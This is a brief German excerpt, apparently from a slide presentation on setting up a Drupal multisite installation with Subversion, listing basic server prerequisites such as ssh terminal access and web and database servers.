Multisite Setup. mit Nutzung von Subversion. Drupal Voice Chat 21.10.2008 mcgo@drupalist.de

Multisite Setup. mit Nutzung von Subversion. Drupal Voice Chat 21.10.2008 mcgo@drupalist.de Multisite Setup mit Nutzung von Subversion Drupal Voice Chat 21.10.2008 mcgo@drupalist.de 1 Voraussetzungen Server (dediziert oder virtuell) Zugriff auf Terminal (z.b. per ssh) Webserver / Datenbankserver

Mehr